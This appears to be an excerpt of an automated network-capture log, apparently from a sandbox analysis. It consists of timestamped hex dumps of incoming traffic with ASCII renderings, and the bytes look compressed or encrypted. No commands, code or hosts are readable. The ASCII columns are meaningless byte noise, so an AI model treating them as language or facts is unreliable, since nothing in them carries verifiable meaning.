b5 07 0e 96 61 Data Ascii: piE@B,@+C<P[Ka Z!ix !GwCa`z@!Q PQ( C:HaUW`!ePt0@`0 EC\|yDPA!}F/Y={K@CYgau`!0COi3A.K$<IW:,j a
2022-08-04 11:37:02 UTC	1984	IN	Data Raw: 49 e9 b0 69 74 ac 89 ba a8 5d a9 a4 2c c9 e0 96 e9 4b dc 09 25 d8 29 92 d4 49 c9 d0 69 64 cc 89 b2 c8 59 a9 c4 2c c9 c0 96 e9 4b bc 09 a5 78 29 d2 74 49 e9 70 69 74 6c 89 ba 68 98 a8 59 57 a4 2c 77 a0 96 97 4b 9c b7 25 98 d7 92 94 f7 c8 90 17 23 7c 89 74 37 7c a9 78 57 7c c9 7c 77 7c e9 7c 97 1f 09 9d b7 1d 29 1f d7 1e 49 1f f7 1f 69 07 17 24 89 c7 37 47 a9 c7 57 87 c9 c7 77 c7 e9 c7 97 c1 09 9e b7 f1 29 d1 d7 f1 49 e1 f7 f1 69 f0 17 25 7c 89 74 37 7c a9 78 57 7c c9 7c 77 92 cc 4b b7 ea 22 fc 4f a7 90 6f 4c 21 f7 bf f9 e0 a4 5c 28 b0 4d 2f 30 26 6f 2c 9e af 12 41 4e 9c 61 83 07 1a a1 c3 47 a1 e1 95 28 ac bc ff a8 fc 0f 20 59 79 90 50 00 2f f1 fe e9 e0 f1 ac 48 c8 96 07 5a 80 b8 c2 a8 5c 00 5f 77 fb 85 7e 01 ff ee 38 c3 02 9c 61 b7 82 0a a7 0a 20 00 b4 02 Data Ascii: Iit],K%)IidY,Kx)tIpitlhYW,wK%#\|t7\|xW\|\|w\|\|)Ii$7GWw)Ii%\|t7\|xW\|\|wK"OoL!\(M/0&o,ANaG( YyP/HZ\_w~8a
2022-08-04 11:37:02 UTC	2000	IN	Data Raw: ce 5b 80 0c e9 40 a4 da 50 3b 05 46 51 5c df 66 5b 04 4b 34 fd 7b ed a4 81 b9 40 ee 7f 2e 39 6f 30 0f 9f 12 c9 7f 0b 01 e1 1a d0 5f 6f 21 f3 60 f6 31 82 89 e6 7c 8e 40 7c ac b7 6f ae 91 9d 65 94 c5 eb 04 1f e9 a3 ce 4c 00 68 6b 5a f7 33 e9 ad 9d 30 37 72 3f 29 ff 37 36 52 72 c3 82 1a f5 10 8f 68 fa 3a 32 db 59 9a 4a b8 8f b0 37 cd ef 43 3b 5f 10 02 0c 13 e9 b2 69 ab 46 52 7f 9a 14 25 0f 58 f4 04 09 f7 d1 5c 34 40 e9 47 32 e1 bf 87 1b cf d4 59 ab 2c ec aa 16 75 df 3e d1 ae a4 f1 21 ea 68 ae 2d 58 f1 21 6e 90 b2 2d 83 1d e9 53 4d bf ea 35 fe 06 3d e1 69 47 dd 49 b4 a4 57 b2 50 00 4d 6a f2 be 63 4c 5b e0 b7 91 0d fd 75 22 23 0b 2b 4e f7 e0 f1 ee b8 f6 f8 60 7d 0f 9b e3 07 87 a2 da 77 8f 3b 7d 07 84 7d bb 2a 9d 00 aa 70 f2 db 29 cb 95 0b 6a 7b 48 69 5e 74 6b Data Ascii: [@P;FQ\f[K4{@.9o0_o!`1\|@\|oeLhkZ307r?)76Rrh:2YJ7C;_iFR%X\4@G2Y,u>!h-X!n-SM5=iGIWPMjcL[u"#+N`}w;}}*p)j{Hi^tk
2022-08-04 11:37:02 UTC	2016	IN	Data Raw: 2f db 7b 51 c3 25 7c 23 c1 68 91 50 ff 50 3c bb 4f 78 79 6e 4a 01 ac 2a f4 01 e8 54 e1 ef 75 2f 85 65 84 11 eb d0 06 ee a7 a5 5d 8f d7 4c e8 c7 51 68 61 1c d3 77 7f 33 03 f3 a9 7f 2f 1c 5a 05 68 9b d8 9f 14 e3 d6 0b 15 e3 76 d7 98 28 cb 82 ec f9 44 77 5d 12 3d 7f af 17 29 ae 4a 21 43 d3 41 d8 6b c7 de 77 59 61 17 89 8e 00 4c d4 84 26 01 bf a3 12 a5 e3 63 21 0c 3e 8b 20 57 45 5c e9 20 07 3d 53 51 81 68 c9 4a bd 7e 5f 55 a9 c5 90 90 cb 81 f7 21 0c 97 f6 1e 57 4f 3f 16 ba 5b 1f c4 84 09 07 5f 7f 18 f2 05 cb 05 62 f5 1e e9 75 fb 70 b0 07 97 f3 5f 7f 0a 76 f2 89 25 f3 74 02 aa dd d5 7b 77 92 8a df e5 6b e9 90 bd ad fc 2f eb 1b d2 1c 2f c1 e3 0f 46 61 56 75 2d 98 7e 88 02 68 65 0f e2 5c a9 4d c0 c1 17 77 7d 44 46 01 58 63 40 0e 29 4b e8 ab 28 e5 68 3d 92 dd a7 Data Ascii: /{Q%\|#hPP<OxynJ*Tu/e]LQhaw3/Zhv(Dw]=)J!CAkwYaL&c!> WE\ =SQhJ~_U!WO?[_bup_v%t{wk//FaVu-~he\Mw}DFXc@)K(h=
2022-08-04 11:37:02 UTC	2032	IN	Data Raw: f3 a0 0c e9 6b 9f f4 84 d0 3f 75 25 f7 5b 77 1c 69 09 8f 76 bd 53 50 38 0c 4c 37 ff 3e 0f 87 12 5d f3 5f a8 87 4b a7 ff 12 c2 0e 0a 84 db b8 2f e2 76 75 59 49 1f 25 ec bd 90 ba 82 45 ca fa ff ee a5 0b d3 66 ed 7e df 82 00 c1 c4 63 8c f0 c7 b1 b7 b0 20 f5 31 37 32 81 05 dd 89 f7 1f 12 c5 ea 1d 8b fa 69 24 d5 68 0c 19 f1 30 f3 37 aa cd 7b b1 25 7f 79 d9 bc 01 e5 33 ab fa 19 81 0e ed ba 1a 2e b7 30 31 ef b8 f2 97 fc 66 c3 68 06 d9 4d 7b 6b 60 e0 ef e2 d9 f7 22 b3 81 68 d1 a9 ee 7b fc c7 d0 17 4e ac 72 80 68 df 2f fc 39 4d 51 c0 81 a3 d0 37 73 6f 24 75 10 09 be 06 70 da 3e 3f b0 4c fa 84 41 09 3c 32 22 46 95 d0 31 38 a5 d6 40 63 8a 60 c2 b8 9c 4b 23 b6 02 04 09 59 fb 7f fa a2 ca a2 2d 89 17 f6 2c 82 da 2a bf 5f ff 97 21 00 bd fc 57 7f 3f 81 3d c5 de e1 3c c1 Data Ascii: k?u%[wivSP8L7>]_K/vuYI%Ef~c 172i$h07{%y3.01fhM{k`"h{Nrh/9MQ7so$up>?LA<2"F18@c`K#Y-,*_!W?=<
2022-08-04 11:37:02 UTC	2048	IN	Data Raw: 7f 24 dd 4d 73 56 0a 32 07 04 bb ae 0a 80 c0 ee 4d dd 55 27 a6 25 dd 91 4b 2f e1 0e 81 23 47 7f 5c dd 69 31 c8 e8 a3 8b 12 32 6b 09 ae e2 df 1b 68 3d 20 1d 10 6c 7d ff 18 42 93 14 f0 da 04 13 4e cb 94 e9 ec 02 88 60 a6 ba 02 ba bc f5 fd 68 36 a1 bf 27 55 1e d8 ff 3e b1 7e 0c c1 e2 03 06 06 c1 18 e9 17 f7 01 32 05 4f e0 af 0d 97 dc e9 c8 0c 0b 5a 5b 93 a9 d0 8b c6 4f a2 f5 75 f6 c8 c0 68 25 0b fc 75 5d 09 33 73 b7 3b f7 38 58 45 f0 95 57 90 c1 d2 e6 21 ed 4a 24 cf 02 e8 d1 f3 4f 5c c9 5a 0c 0e 80 d8 5a 4c e9 6b f5 fb e3 85 80 a7 d8 b2 2f 44 5e 31 e3 1b 93 c4 2c 12 14 37 d1 52 52 cd a5 c4 e6 2d 39 70 0d 32 16 9a b5 33 a2 88 81 c0 7a 9f 5f 0d 05 16 eb 48 74 b9 81 68 15 ae 9f 37 3e cc f1 c5 10 4b f9 75 b4 fa ce a7 8a 35 23 04 68 39 27 ae e2 eb 00 56 be 67 bf Data Ascii: $MsV2MU'%K/#G\i12kh= l}BN`h6'U>~2OZ[Ouh%u]3s;8XEW!J$O\ZZLk/D^1,7RR-9p23z_Hth7>Ku5#h9'Vg
2022-08-04 11:37:02 UTC	2064	IN	Data Raw: 7c cf 7b 96 f8 41 8d 84 db 2a 81 63 e8 e1 cc dd 7b b7 7e 22 40 e6 d5 7f 1f 88 22 84 04 ae 87 2d b0 42 c5 c2 05 27 c0 05 09 08 4c 57 59 80 c8 e0 26 15 00 05 6c f7 6f be b7 02 3b e5 7d 29 ce 59 64 fb 09 97 4c bf 04 76 54 e8 0c 12 5e 2c 5a b2 00 cf ed 0d 53 68 fa 97 fe 5e 2e cf 7c 74 4a d9 ea 20 c7 bb 20 2d 2f 99 74 5c ab 69 08 40 0c 09 e9 9e 7f 30 13 a3 7f 27 ad 3d 5c 29 f2 da 04 82 17 dd 7a 8a 95 57 1c 5c 13 3f 07 2f fb dd 75 39 47 44 10 29 5f ca 08 cd 50 47 21 cc 0a 9c 04 68 11 94 db 4f a9 f1 3a 4d 27 ed 5e 70 fa 57 76 ee c0 68 3b 59 fb 4b 05 e3 fa 4f 90 05 be 10 81 ed 54 25 aa 94 d3 af ec d4 f0 68 b4 7f 3a f7 75 82 8a c0 6b 73 50 d5 73 18 70 2e 77 25 bf 45 57 ef 79 49 55 65 63 6b dd e5 f8 a2 e3 b5 56 1f da 17 68 96 50 aa ca 70 d3 ae 3b 6b d2 bb 8b 56 36 Data Ascii: \|{A*c{~"@"-B'LWY&lo;})YdLvT^,ZSh^.\|tJ -/t\i@0'=\)zW\?/u9GD)_PG!hO:M'^pWvh;YKOT%h:uksPsp.w%EWyIUeckVhPp;kV6
2022-08-04 11:37:02 UTC	2080	IN	Data Raw: f9 77 04 85 ec 60 cd 19 ba 84 6c ea 64 14 b4 86 6a 2d 5e 4b 74 4a 53 12 64 c8 22 af 76 3c 40 be 7e 80 73 bb 9c 2c c3 eb 25 98 32 53 ec b0 48 0f ab c4 04 67 56 eb 74 63 81 e8 94 e7 9e 40 f8 d2 2c ab 96 2b c4 0c db 3b e8 66 4c 3d 62 12 20 e7 4b 06 34 5d c1 28 71 39 4c 3a 3e 8c a2 a2 6d 0d 60 2c 20 4f 10 2a 2f a0 a5 95 30 21 88 8c 4a fe c8 89 10 28 e8 95 15 25 37 0f fc 60 83 17 2b 4d 93 1f 3e 50 b8 3e ad 88 d3 28 0f 04 79 0a 76 96 00 23 c7 fd 4b 5f 87 78 32 03 b5 e5 c2 38 e2 df 05 a8 11 ef 68 93 61 f4 37 42 8a 08 d8 32 86 02 a9 a6 d0 b7 75 46 32 31 b8 41 08 78 38 82 c2 c8 04 f4 7b 80 94 a0 f5 90 42 00 83 ae 0b 35 05 03 d5 e1 3c 99 0e 2d de d2 aa 24 80 47 9f 21 e4 00 18 23 ea 1a a6 39 a0 87 f9 a5 0b 2d 90 e9 50 c6 47 0b 40 ec df 79 57 1a a6 df c5 0e 20 13 4b Data Ascii: w`ldj-^KtJSd"v<@~s,%2SHgVtc@,+;fL=b K4](q9L:>m`, O*/0!J(%7`+M>P>(yv#K_x28ha7B2uF21Ax8{B5<-$G!#9-PG@yW K
2022-08-04 11:37:02 UTC	2096	IN	Data Raw: 2b bc f4 b0 50 ff fd 9f b2 79 40 96 51 05 98 7a 04 6b 9c 1d 50 43 eb ec 22 c1 81 fe 7c 21 8b 44 33 5b a0 6c cb 68 f2 2e 00 ca 0b b4 79 f9 37 32 97 00 83 90 fd 5f 0f 33 47 6b 6c 53 74 20 5a 03 71 7c be eb 1f 21 b0 bf 64 24 70 44 95 55 18 00 97 29 f0 d1 80 33 ff bf fe 08 03 60 24 34 31 12 18 b0 e3 9f 8e 08 43 b3 fe 56 2b 25 53 26 c2 88 eb 8d 44 10 fa 77 f4 25 59 94 20 fa 95 00 d0 68 1f 13 cc 08 28 12 77 8d a2 d4 44 f6 69 8f 11 80 0d 66 3f 25 98 09 4b 30 57 17 7f 89 81 d7 f9 a4 e2 e5 d9 51 fa 58 52 1e af 6c 1d 6a 67 59 bc 58 1a 03 00 f9 b4 f6 ff ab 45 96 79 b0 b0 03 57 81 89 4e dc 2f 25 10 dd 20 46 69 13 b5 c7 1a 5a 47 b0 60 c4 10 0b 10 1b ec fc 10 8c 47 62 01 c6 ca 01 03 3c f9 9c c5 56 7b 83 8d f3 24 06 de dd 71 ec 07 f9 21 99 be d8 01 c2 73 ed 10 74 01 5e Data Ascii: +Py@QzkPC"\|!D3[lh.y72_3GklSt Zq\|!d$pDU)3`$41CV+%S&Dw%Y h(wDif?%K0WQXRljgYXEyWN/% FiZG`Gb<V{$q!st^
2022-08-04 11:37:02 UTC	2112	IN	Data Raw: 5e fb 59 4c 15 82 32 80 c2 77 f5 10 16 7e bc 4e fe eb ca 91 40 0d 4c b7 5e 05 e5 c3 13 24 ba e2 01 10 78 04 2e 75 31 69 07 e7 02 3b 03 d9 36 3f 01 96 47 8a 32 46 a7 52 dc 54 b6 1f 79 e4 6d c2 06 82 6a b7 f6 da 00 83 ee 1e 29 30 92 71 51 13 e9 11 01 cc 4c 98 13 82 b9 77 fe df cb 48 e0 81 85 a5 ef 69 38 e4 04 ed 22 36 f2 3d 6d e5 05 91 b9 9c 5f af a6 a7 d1 b3 90 19 5f ba 24 be 30 ff cb 72 3f 58 7c 03 9e 47 cd 9b ef 99 d4 9a 60 8e 4d df 5d a2 cd 5d db 6f ad 1a 98 08 15 7b 27 1c 9b 93 39 02 ea 14 d6 02 fd 4d 3d 20 11 9c c3 db 02 4a fa a4 7f 4f 5a b1 10 b9 45 0e eb 2d 88 3b f0 bc 0e 13 d2 b3 3e ef 9d 0b 6b b3 c3 b2 2d 89 24 f4 b4 a5 df 1d 65 af 5e 2f 79 41 60 e7 ff cf 2b 40 cb f9 54 c7 da 7f f1 06 ee 22 d8 d7 79 df ec 0e 58 58 ea 1f 10 89 d2 5d ee f4 51 48 e0 Data Ascii: ^YL2w~N@L^$x.u1i;6?G2FRTymj)0qQLwHi8"6=m__$0r?X\|G`M]]o{'9M= JOZE-;>k-$e^/yA`+@T"yXX]QH
2022-08-04 11:37:02 UTC	2128	IN	Data Raw: 52 79 2a ac 13 58 09 6a 3b b5 34 c4 27 1c 19 fb 25 27 52 21 12 b6 db 88 46 e9 45 02 40 31 44 54 78 7c 85 3a 5d 9f 2c f9 69 13 3d e7 04 05 52 bf 70 6b 5b 5f 56 b8 a1 95 d1 b3 42 25 6c f7 81 cb 71 5a 6b 62 fd 18 33 5b 20 bc e6 9f 5e f7 c2 55 3e dc b9 60 a2 63 46 5f 30 4e 60 84 55 d9 dd 94 a9 2f f1 95 6c 08 f6 01 aa 38 34 cb 14 2d 65 63 6b 80 10 70 85 2b 64 16 eb ca 7d 22 c3 ac f4 2a 42 43 35 02 bb 9c 57 00 cf fa 25 7a 7e bd 6c ce b5 f1 43 60 49 be e3 03 99 a1 44 74 4d 5e 52 3f 9d eb bf 14 5a 82 2c cf df f1 8e c4 c7 06 36 bb b6 05 68 0b 65 ee 7b fa cb 7b 92 2d 1e 81 06 68 10 17 c7 3b 3a 7d 56 ce 67 95 27 c5 c9 c9 d7 9c f0 97 be c0 0e 74 76 ff 7d a1 7f fa ef 3e 6b 3d 7d 2a aa 6c 0d 3c c9 f7 df 7f 94 e6 91 87 a6 4c 76 95 fd 37 d2 01 68 a3 0d fd 7b 7b 89 fe 3a Data Ascii: RyXj;4'%'R!FE@1DTx\|:],i=Rpk[_VB%lqZkb3[ ^U>`cF_0N`U/l84-eckp+d}"BC5W%z~lC`IDtM^R?Z,6he{{-h;:}Vg'tv}>k=}*l<Lv7h{{:
2022-08-04 11:37:02 UTC	2144	IN	Data Raw: 0c 73 3d 1f 19 3c 76 67 d4 50 ce 70 c9 77 ca 11 cb a8 c1 70 aa 35 fe a1 d4 fb cc 4c e5 10 3d 28 20 14 e2 97 96 19 11 68 a4 bd 2f 21 54 55 3e c5 44 89 60 19 5e 57 cc 6c 28 a5 55 6c 4b 30 12 be fe 18 1a 21 6a d2 2c 05 46 3e 40 8b 99 a2 2b 9f 90 d4 42 02 b7 33 50 01 50 0e 8f 21 7a d4 53 7a cf b4 00 dc 04 69 33 3b 14 5e 7c 05 9c 98 cc ac ae 3e cb 06 97 7b 14 ab 3c 46 3d 26 c3 60 59 00 9f 44 c1 1e a6 5b 9d b3 b2 12 04 22 ae ba 32 e7 80 5d f2 80 38 ca d0 9c e8 9e 24 eb 62 eb 65 80 6f ca 5a 50 e2 9e 28 2c 2e 70 b2 f0 e1 3e 78 40 3a 04 8d 20 b8 ba f0 bf 2f 80 7c 8b 16 10 09 e9 2a 00 10 a6 09 b8 c4 4a e2 eb de da 04 b4 1b dd ff 99 ae 7a 8b be 40 b4 7e bd 02 e4 25 74 7c 02 97 e4 c1 22 71 37 3b a8 94 a5 90 2d 41 24 02 3d 50 ab 17 8b ff ee 8d 45 80 6c c1 4c f9 fe 29 Data Ascii: s=<vgPpwp5L=( h/!TU>D`^Wl(UlK0!j,F>@+B3PP!zSzi3;^\|>{<F=&`YD["2]8$beoZP(,.p>x@: /\|*Jz@~%t\|"q7;-A$=PElL)
2022-08-04 11:37:02 UTC	2160	IN	Data Raw: f4 5e 58 da 84 95 8b 50 64 ee bf 66 54 2d 68 ba aa ba 2e 0c c9 d0 10 80 63 56 50 df a8 42 b4 6a 00 e5 3d 36 c5 09 33 13 00 51 b5 bb dd b0 2b 4d f7 06 f1 e1 58 1e 7f 30 09 56 e9 51 d1 dc cc 81 85 bf 73 c1 82 28 c2 77 27 f8 6b 5c ec 73 00 c0 52 43 fd 60 0e 9f 30 2d 44 ff f6 fc c8 ae 00 8e cf 6e 3a e6 eb c1 4c 74 06 51 4e 08 99 09 69 3b 5f 64 70 52 05 c6 eb d2 34 ba a0 ca 03 ee 1f 09 0a e0 e7 72 20 98 16 2b 4a c4 97 5c da 49 59 c8 88 3d 50 ad 76 30 b8 18 5d 8d 14 b2 8c c7 a0 77 43 50 58 72 3f 98 3f 3d 6c d8 58 86 e8 e9 2c 00 5c f4 92 c1 d0 52 5d a3 00 d5 11 95 46 ce a0 83 2e 02 15 35 e3 7e 56 f4 5d 18 e2 77 a6 a0 48 76 1a 9d 20 e0 b9 79 71 3c 00 4e 0c c3 c0 09 1f 1d d6 e5 2a 82 cc 9c 56 45 eb ff a7 13 84 b2 7b 7e 78 42 51 eb 08 7f 04 44 dd 02 ae f3 30 d2 a3 Data Ascii: ^XPdfT-h.cVPBj=63Q+MX0VQs(w'k\sRC`0-Dn:LtQNi;_dpR4r +J\IY=Pv0]wCPXr??=lX,\R]F.5~V]wHv yq<N*VE{~xBQD0
2022-08-04 11:37:02 UTC	2176	IN	Data Raw: 16 03 30 5c 65 24 e9 6b cd 18 f7 64 06 0c 75 41 66 29 7c dc 5a fd 52 8e bd be 60 24 e1 ab 67 0d cb 60 d6 4a ae 54 f2 43 a4 13 00 68 4e e8 38 c4 84 c0 69 52 0f b2 70 9a 96 00 fd c5 98 f3 e1 e4 de 8b 00 70 03 79 23 30 6c 18 32 00 21 d1 51 94 6a 38 13 9e 09 a2 b5 a8 c9 68 ce 08 ff 9d e6 80 62 64 b1 a6 ea 82 b4 f9 13 b2 d0 d6 e0 80 2a 49 b1 14 e5 f7 79 16 0b 28 a7 ea d1 d4 db 78 51 d6 38 ee 0e 01 14 cf c0 f3 a4 34 2d 98 9a 0c 57 48 22 cd aa f9 d6 6c b8 c3 08 25 a3 d6 80 97 e6 be 02 90 3d 63 f7 cd e0 a0 c2 1a 47 3b 48 69 aa d9 12 b8 6a a2 d4 14 71 7e 3a f1 3a 7f b7 48 01 78 2d 1d 7c 20 9f 6b f2 44 d8 08 a5 f8 3d 86 09 02 9e 70 c5 fd a4 75 7e 26 cc 04 3e 5a 62 2d 5c 7b 40 54 b0 a3 e7 3b e6 4b 9e fb 84 c0 bf bc ca a1 f2 37 84 48 da 5d 9f e1 3a 6f e8 68 e5 ea e1 Data Ascii: 0\e$kduAf)\|ZR`$g`JTChN8iRppy#0l2!Qj8hbd*Iy(xQ84-WH"l%=cG;Hijq~::Hx-\| kD=pu~&>Zb-\{@T;K7H]:oh
2022-08-04 11:37:02 UTC	2192	IN	Data Raw: 7c 82 5e 55 74 b6 e0 fc 18 03 e5 62 38 db a8 04 2f 60 05 5b 30 12 9a a0 c2 5b 9f 76 9a 62 84 ab 64 3c 28 be 7b 30 06 7f 33 74 ea 06 36 09 e6 b0 30 f0 50 b5 0d c3 91 3d c9 f0 79 6a 12 3c 1c b9 82 d8 84 b7 fd 07 7b 44 9c ce 65 42 96 08 82 72 93 e1 00 f7 23 7f 6c 9f 50 3e 4b 22 eb 64 3d 00 f0 ba f7 65 a6 94 0b 0b 76 ed fe 73 18 30 74 86 47 fc 01 c3 02 71 41 b1 20 9b 7a f8 d4 a7 2b 64 58 4b 7c fc f8 4e fa 2a d2 34 84 2d ef a2 d2 a2 9c ff 9c 8f 2c 41 53 08 40 1d 04 76 7a bd 74 06 a0 09 95 d9 28 45 56 74 28 be 58 d5 08 c2 c0 25 1f 7e f9 e1 cc 5e f6 a2 12 01 2f 62 71 44 7f 88 9d 52 96 2a 6d a2 20 34 c5 81 ea 31 7f 39 9e a4 e3 c0 d6 bb ca 99 92 fa 6d 67 2a a2 d5 92 b3 f3 a5 ea e6 bb 4f ec 06 e4 fe 8e b8 93 02 f5 92 7a 57 7f 6f fc 2d d5 bc e2 bf e5 0d be 4f e8 be Data Ascii: \|^Utb8/`[0[vbd<({03t60P=yj<{DeBr#lP>K"d=evs0tGqA z+dXK\|N4-,AS@vzt(EVt(X%~^/bqDRm 419mg*OzWo-O
2022-08-04 11:37:02 UTC	2208	IN	Data Raw: 0d 13 cc 96 87 25 54 fa 03 3a f4 57 ee 60 46 6a 1f dd 28 99 c6 2e 18 83 4e 31 53 27 34 67 0a d2 ff ec d0 25 1b 3a d5 e2 2e fd 73 62 40 6d 5e 0c 1c 4b 2b fa 9c b2 16 97 00 3b 27 78 ab 3d 03 14 21 4d a7 2a 30 5f 80 80 e8 0f 8f bd e1 06 04 07 69 52 46 0a a8 c1 10 a1 39 7f f2 ba d7 ae 20 4a b8 de 54 0b c8 9c 4e 09 d6 22 58 c3 8a 01 63 37 4a eb 88 26 d8 7c 74 c0 b5 0d 2f 06 e2 28 f0 4c 72 94 9d 8b 05 11 da 43 25 b6 da a1 7e 96 5b 4f 2a bc 7c d6 21 fa dc 82 71 f6 d0 4c 79 0e 32 39 35 f9 af 07 c0 a1 db 24 51 28 b7 e2 20 df c7 d6 80 02 e1 9c 72 97 9d 0b 68 c6 0d a6 d5 6c 28 96 ea 14 28 ea 09 eb 5e a2 4c b2 b5 53 94 a7 7d e2 ac d7 53 46 31 04 60 d9 98 90 1e 42 cf d6 5e 29 17 36 ef 8f d6 13 e6 8b ae 37 c0 c9 f7 e5 4a 89 12 56 46 78 b5 5e f6 50 82 31 bf 45 02 6b dd Data Ascii: %T:W`Fj(.N1S'4g%:.sb@m^K+;'x=!M0_iRF9 JTN"Xc7J&\|t/(LrC%~[O\|!qLy295$Q( rhl((^LS}SF1`B^)67JVFx^P1Ek
2022-08-04 11:37:02 UTC	2224	IN	Data Raw: ce fd ff c8 74 78 97 56 f0 89 12 6a f5 9a ce df 66 74 08 8c 21 5c ce 0b 3c 04 48 7c 86 24 36 33 31 18 d2 2c ef e9 c9 18 03 10 8b 36 f0 2c 61 35 90 ea d2 8d 2b 88 36 ec 5d 93 1a 2e 05 d7 0f 89 b8 e4 1a 51 b2 14 1a 7a e4 3c 80 ff cc 97 fa 6e 95 77 32 8e 20 a2 4c 58 7e 37 93 dd 01 f6 92 25 fa 5d 82 0f 3d 7e 84 6a 75 99 e3 50 c6 7f 60 3b c0 0c 21 f7 1c 91 01 2f 5a 94 6f 51 2d 18 2b a0 84 42 4a 61 9d 6c 7f ed 45 90 04 02 68 2b b6 c6 6f 77 9c 1a 0e 1f 6d f7 33 a1 dc c6 fd 7e 3a ff 3f b8 97 9c d6 8f 1d 55 56 75 44 59 9a a7 ab e8 95 f1 bc 43 fd 1f d4 28 e7 5e c7 cb 77 d2 6e 17 5b f6 cd d2 12 ac 2b 5e 42 c1 37 55 9f 4b 90 47 a5 9b 25 ce 77 5f 4e 89 b0 4d 8a 0f f4 8e e2 2c 82 01 e8 c5 cd 3a a0 37 05 bd d9 87 c0 56 5d 17 1d 95 7e f0 cc 0c ff 39 25 fe ce ef 8e 67 3a Data Ascii: txVjft!\<H\|$631,6,a5+6].Qz<nw2 LX~7%]=~juP`;!/ZoQ-+BJalEh+owm3~:?UVuDYC(^wn[+^B7UKG%w_NM,:7V]~9%g:
2022-08-04 11:37:02 UTC	2240	IN	Data Raw: c8 3f d0 10 54 d7 ba 8a 12 db 6f 51 01 23 60 99 37 a7 44 cd 88 03 8f 95 d7 a0 01 45 d8 1d 5f 60 b7 ec 70 d5 5c dc 24 74 99 20 c0 32 42 f4 6c cb 32 1f 50 68 0f 5d d7 1a 2f 6c 49 10 7f 3f 62 a8 8b 29 76 b6 2b b8 5c a6 78 2f 76 3a 37 2e 05 14 d0 bf f2 75 ea b9 90 16 a4 aa 4e 86 09 1c 2f 53 a8 80 0f da 7e 0a 6b 45 29 f0 16 b4 4c 44 a5 1b 78 14 20 6c e1 c0 57 6e b8 6a 4e ea 8b d2 37 ce 46 1b d9 00 b0 bc e7 ab b5 0b 28 04 9e b9 13 5d b8 9a 93 a1 95 e1 4f 62 92 3c e6 20 e2 96 ad d8 12 1a 91 29 aa 36 16 5c 2d 65 cd c8 40 24 2d b2 49 48 fb 48 12 e6 20 f1 11 2e e8 c0 d8 0c 08 62 c4 38 27 6d 80 36 41 1e d5 07 ea d0 3c d8 af aa f5 62 6e 32 11 ca e8 bf 62 2c 9f ff 09 65 7f 20 11 2e 24 25 4c c3 46 81 54 de 5c 57 48 e0 af 2f 84 7f 53 e4 02 ad ac 44 92 0c a0 d0 06 d7 8a Data Ascii: ?ToQ#`7DE_`p\$t 2Bl2Ph]/lI?b)v+\x/v:7.uN/S~kE)LDx lWnjN7F(]Ob< )6\-e@$-IHH .b8'm6A<bn2b,e .$%LFT\WH/SD
2022-08-04 11:37:02 UTC	2256	IN	Data Raw: 02 4d 57 16 eb 55 77 cc 10 1c 0a a4 0f 02 a5 5a 01 5b 7c 82 f8 3b 30 21 f4 ff 50 db 61 af 26 09 aa be 74 32 56 17 70 bf f2 a9 64 92 fb f6 a4 1f 72 80 e7 5f ce 92 90 fa f4 6a 00 68 9e a9 bc df 17 b6 21 00 c2 1c d9 05 9d 20 62 55 95 98 10 ec 4f 7c b9 c2 4d 01 e1 1e c0 10 42 8c 97 5e d0 73 3f e8 4b 87 d3 2f fe eb 29 7d 89 e2 57 73 3e 00 a8 37 3d 0b e6 14 d8 34 1c aa 4c 18 8e 52 f5 81 10 b0 1c 36 68 ab 2d c4 f9 0a 71 79 7b 3b 13 83 24 32 e5 5a 84 aa b3 1a c0 6e 0f cc 5b 3e 3b 9f e3 25 f1 5f ee 78 01 dc d6 d3 4a f0 eb 88 2a b6 86 02 19 95 50 33 df 77 5a e4 70 68 4a 92 c1 76 f2 57 89 14 7a 2f f9 b2 a5 72 5a 00 fe ef ee 96 43 41 73 8b 1e ce d5 fb 07 be 5c 0a bc 44 16 5e 3a af 61 ce 06 29 22 ea 18 ec 02 8c 4b 45 90 5e 5a f0 ea 46 02 b5 88 1e e8 05 c4 7c 20 fa c8 Data Ascii: MWUwZ[\|;0!Pa&t2Vpdr_jh! bUO\|MB^s?K/)}Ws>7=4LR6h-qy{;$2Zn[>;%_xJ*P3wZphJvWz/rZCAs\D^:a)"KE^ZF\|
2022-08-04 11:37:02 UTC	2272	IN	Data Raw: 08 a6 f5 3f 4c 25 d0 6e 10 5b dd 57 50 0e 36 3e 01 8d 8b fa 4a 02 fb 9c 25 22 64 b0 e8 f7 24 06 80 b3 6c 85 c9 22 be 71 d8 b8 e8 7f 8b 16 d3 fa c6 c2 11 b7 d6 1c 58 fa 42 4b 02 ea dc 38 49 06 ac 25 0e c0 88 e4 1c 1e c2 8a 61 00 e2 a7 13 42 06 d7 04 fc ff 23 6a a5 aa ac 9e 5d 7e 8f 66 78 b4 b1 c6 1c fc a3 d9 27 57 67 24 04 61 5f 4c ab ed ea d8 10 84 6d c1 24 a2 4d 92 cd 81 b8 12 51 48 6a 03 c0 37 84 00 0e d0 5c 01 97 d8 53 3b b5 a0 a3 46 10 09 15 00 83 61 38 08 aa 58 92 e9 31 9f dd 5c 56 ed 21 88 2c 62 ac 50 70 7c 87 b2 04 63 f7 fa 9e f9 3e 8a 7a 7f aa 20 13 e0 0b 2c 4e a6 6c f8 78 95 75 17 08 c6 74 58 85 5a 92 2b eb ca d4 8e 83 10 ac 54 42 e3 a1 ca 8d 4a 26 80 81 5f d2 25 62 07 41 5d 88 bd e1 fe 16 bb 98 b6 af 01 d2 f5 42 b2 37 bf e1 3e 9d 0a 80 64 a6 72 Data Ascii: ?L%n[WP6>J%"d$l"qXBK8I%aB#j]~fx'Wg$a_Lm$MQHj7\S;Fa8X1\V!,bPp\|c>z ,NlxutXZ+TBJ&_%bA]B7>dr
2022-08-04 11:37:02 UTC	2279	IN	Data Raw: 6a 39 43 fd 71 86 2b c0 45 07 6d 0e 38 4b 4c 54 18 7b 25 02 88 74 e9 cc 10 68 06 3c 19 65 44 d3 40 03 84 14 a1 9e 36 5a a2 33 77 20 3b f6 e8 52 dc 00 3f f0 8f 68 1f b9 42 7e 02 70 91 b0 11 ef ea 77 b5 ed 85 99 f4 f7 6b 1e 4a ff 8e 39 01 36 c5 da 53 ae 8a 3e ac 55 4e fa 66 d1 04 32 61 cf 40 11 77 e1 2b 04 6e ed 75 cb 3f 78 ec bf d1 fd 82 ee c7 ca 76 02 e5 cc f2 ee fd 89 b1 77 d6 90 56 f4 03 b5 c6 e7 c5 60 86 13 04 10 1f dc ed fe 02 4a 5a 3c 1b bd 55 f6 71 78 74 66 57 05 7a 17 c4 6a 04 04 8b 9d ee f8 57 e0 af a9 35 b0 ca 05 9e 6b c6 2e a6 b1 55 2e d8 7d dc 60 76 64 f2 57 06 df 2c 5f 